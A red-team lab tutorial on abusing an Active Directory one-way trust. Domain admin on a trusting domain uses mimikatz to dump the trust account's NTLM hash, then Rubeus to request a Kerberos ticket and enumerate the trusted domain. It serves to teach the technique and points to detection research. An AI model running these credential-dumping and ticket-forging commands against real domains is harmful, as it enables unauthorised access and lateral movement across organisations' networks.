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On this page
  • Overview
  • Checks
  • Compromising Trust Account first.local\second$
  • Requesting TGT for first.local\second$
  • Accessing Resources on First.local from Second.local
  • References
  1. Pinned
  2. Active Directory & Kerberos Abuse

Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain

PreviousShadow CredentialsNextRed Team Infrastructure

Last updated 2 years ago

This is a quick lab to familiarize with a technique that allows accessing resources on a trusted domain from a fully compromised (Domain admin privileges achieved) trusting domain, by recovering the trusting account$ (that's present on the trusted domain) password hash.

This lab is based on the great research here https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted, go check it out for more details and detection / prevention ideas.

Overview

The environment for this lab is as follows:

Resource
Type

first-dc.first.local

Domain Controller

Domain controller in the first.local domain

second-dc.second.local

Domain Controller

Domain controller in the second.local domain

first.local

Domain

This domain does not trust second.local domain, but second.local trusts this domain.

second.local

Domain

This domain trusts first.local domain, but first.local does not trust this domain.

In short, there is a one way trust relationship between first.local and second.local, where first.local does not trust second.local, but second.local trusts first.local. Or simply put in other words, it's possible to access resources from first.local on second.local, but not the other way around.

The technique in this lab, however, shows that it's still possible to access resources from second.local on first.local domain if second.local domain is compromised and domain admin privileges are obtained.

This technique is possible, because once a trust relationship between domains is established, a trust account for the trusting domain is created in the trusted domain and it's possible to compromise that account's password hash, which enables an attacker to authenticate to the trusted domain with the trust account.

In our lab, considering that first.local is a trusted domain trusted by the trusting domain second.local, the trust account first.local\second$ (user account second$ in the domain first.local) will be created.

first.local\second$ is the trust account we want to and CAN compromise from the second.local domain, assuming we have domain admin privileges there.

Visually, this looks like something like this:

Checks

Let's check some of the things we touched on in the overview.

Confirm the trust relationships between domains:

# on first-dc.first.local
get-adtrust -filter *
# on second-dc.second.local
get-adtrust -filter *

Confirm that there's a trust account second$ on first.local domain:

# on first-dc.first.local
get-aduser 'second$'

Confirm that we can enumerate resources on the trusting domain second.local from first.local:

# from first-dc.first.local
get-aduser -Filter * -Server second.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft

Confirm that we cannot (just yet, but this is soon to change) enumerate resources on the trusted domain first.local from the trusting domain :

# on second-dc.second.local
get-aduser -Filter * -Server first.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft

Compromising Trust Account first.local\second$

As mentioned earlier, the main crux of the technique is that we're able to compromise the trust account first.local\second$ if we have domain admin privileges on second.local.

To compromise the first.local\second$ and reveal its password hash, we can use mimikatz like so:

# on second-dc.second.local
mimikatz.exe "lsadump::trust /patch" "exit"

Note the RC4 hash in [out] first.local -> second.local line - this is the NTLM hash for first.local\second$ trust account, capture it.

Requesting TGT for first.local\second$

Once we have the NTLM hash for first.local\second$, we can request its TGT from first.local:

#on second-dc.second.local
Rubeus.exe asktgt /user:second$ /domain:first.local /rc4:24b07e26ca7affb4ac061f6920cb57ec /nowrap /ptt

Accessing Resources on First.local from Second.local

At this point on second-dc.second.local, we have a TGT for first.local\second$ committed to memory and we can now start enumerating resources on first.local - and this concludes the technique, showing that it's possible to access resources on a trusted domain (as a low privileged user), given the trusting domain is compromised:

Get-ADUser roast.user -Server first.local -Properties * | select samaccountname, serviceprincipalnames

References

SID filter as security boundary between domains? (Part 7) - Trust account attack - from trusting to trusted — Improsec | improving securityImprosec | improving security
Logo
Technique / attack diagram based on the one seen in https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted